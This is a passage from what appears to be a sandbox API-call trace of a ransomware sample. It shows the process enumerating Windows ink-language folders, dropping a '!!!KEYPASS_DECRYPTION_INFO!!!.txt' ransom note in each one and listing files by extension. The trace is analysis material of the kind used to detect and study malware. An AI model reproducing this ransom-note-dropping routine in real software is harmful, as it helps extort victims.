pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.938] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.938] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x42c [0238.939] GetFileType (hFile=0x42c) returned 0x1 [0238.939] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.939] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.939] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.939] WriteFile (in: hFile=0x42c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.940] WriteFile (in: hFile=0x42c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.940] CloseHandle (hObject=0x42c) returned 1 [0238.940] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9ff8 [0238.940] FindNextFileW (in: hFindFile=0xcb9ff8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.940] FindNextFileW (in: hFindFile=0xcb9ff8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.940] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.940] FindNextFileW (in: hFindFile=0xcb9ff8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.940] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\da-DK\\tipresx.dll.mui") returned=".mui" [0238.940] FindNextFileW (in: hFindFile=0xcb9ff8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.940] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.940] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.940] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07c48 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.940] GetLastError () returned 0x3f0 [0238.941] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.941] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x430 [0238.941] GetFileType (hFile=0x430) returned 0x1 [0238.941] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.941] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.941] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.941] WriteFile (in: hFile=0x430, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.942] WriteFile (in: hFile=0x430, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.942] CloseHandle (hObject=0x430) returned 1 [0238.942] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcba038 [0238.943] FindNextFileW (in: hFindFile=0xcba038, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.943] FindNextFileW (in: hFindFile=0xcba038, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.943] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.943] FindNextFileW (in: hFindFile=0xcba038, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.943] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\de-DE\\tipresx.dll.mui") returned=".mui" [0238.943] FindNextFileW (in: hFindFile=0xcba038, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.943] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.943] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.943] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.943] GetLastError () returned 0x3f0 [0238.943] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.943] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x434 [0238.944] GetFileType (hFile=0x434) returned 0x1 [0238.944] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.944] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.944] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.944] WriteFile (in: hFile=0x434, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.945] WriteFile (in: hFile=0x434, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.945] CloseHandle (hObject=0x434) returned 1 [0238.945] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9a78 [0238.945] FindNextFileW (in: hFindFile=0xcb9a78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.945] FindNextFileW (in: hFindFile=0xcb9a78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.945] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.945] FindNextFileW (in: hFindFile=0xcb9a78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.945] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\el-GR\\tipresx.dll.mui") returned=".mui" [0238.945] FindNextFileW (in: hFindFile=0xcb9a78, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.945] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.945] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.945] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.945] GetLastError () returned 0x3f0 [0238.946] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.946] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.946] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-gb\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x438 [0238.947] GetFileType (hFile=0x438) returned 0x1 [0238.947] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.947] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.947] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.947] WriteFile (in: hFile=0x438, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.948] WriteFile (in: hFile=0x438, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.948] CloseHandle (hObject=0x438) returned 1 [0238.948] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9ab8 [0238.948] FindNextFileW (in: hFindFile=0xcb9ab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.948] FindNextFileW (in: hFindFile=0xcb9ab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.948] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.948] FindNextFileW (in: hFindFile=0xcb9ab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.948] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-GB\\tipresx.dll.mui") returned=".mui" [0238.948] FindNextFileW (in: hFindFile=0xcb9ab8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.948] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.948] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.948] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.948] GetLastError () returned 0x3f0 [0238.949] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.949] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0238.953] GetFileType (hFile=0x424) returned 0x1 [0238.953] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.953] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.953] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.954] WriteFile (in: hFile=0x424, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.954] WriteFile (in: hFile=0x424, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.955] CloseHandle (hObject=0x424) returned 1 [0238.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcb9af8 [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned=".avi" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned=".avi" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-join.avi") returned=".avi" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned=".avi" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned=".avi" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned=".avi" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.955] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\FlickLearningWizard.exe.mui") returned=".mui" [0238.955] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InkObj.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\InputPersonalization.exe.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IPSEventLogMsg.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\join.avi") returned=".avi" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\micaut.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mip.exe.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\mshwLatin.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\rtscom.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned=".avi" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tabskb.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TabTip.exe.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipRes.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.956] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\tipresx.dll.mui") returned=".mui" [0238.956] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.957] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\TipTsf.dll.mui") returned=".mui" [0238.957] FindNextFileW (in: hFindFile=0xcb9af8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.957] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.957] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.957] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.957] GetLastError () returned 0x3f0 [0238.957] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.957] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4e838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x43c [0238.961] GetFileType (hFile=0x43c) returned 0x1 [0238.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e868, cchData=2 | out: lpLCData="0") returned 2 [0238.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e854, cchData=2 | out: lpLCData="0") returned 2 [0238.961] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4e844, cchData=2 | out: lpLCData="0") returned 2 [0238.961] WriteFile (in: hFile=0x43c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x3a4, lpOverlapped=0x0) returned 1 [0238.962] WriteFile (in: hFile=0x43c, lpBuffer=0x2e4d4d0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4cdfc, lpOverlapped=0x0 | out: lpBuffer=0x2e4d4d0*, lpNumberOfBytesWritten=0x2e4cdfc*=0x2a, lpOverlapped=0x0) returned 1 [0238.962] CloseHandle (hObject=0x43c) returned 1 [0238.962] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\*", lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0xcba4b8 [0238.962] FindNextFileW (in: hFindFile=0xcba4b8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.962] FindNextFileW (in: hFindFile=0xcba4b8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.962] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.962] FindNextFileW (in: hFindFile=0xcba4b8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 1 [0238.962] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-ES\\tipresx.dll.mui") returned=".mui" [0238.962] FindNextFileW (in: hFindFile=0xcba4b8, lpFindFileData=0x2e4ead4 | out: lpFindFileData=0x2e4ead4) returned 0 [0238.962] FindNextFileW (in: hFindFile=0xcba0b8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.962] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0238.962] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xd07b88 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.962] GetLastError () returned 0x3f0 [0238.963] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ink\\es-MX\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.963] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft 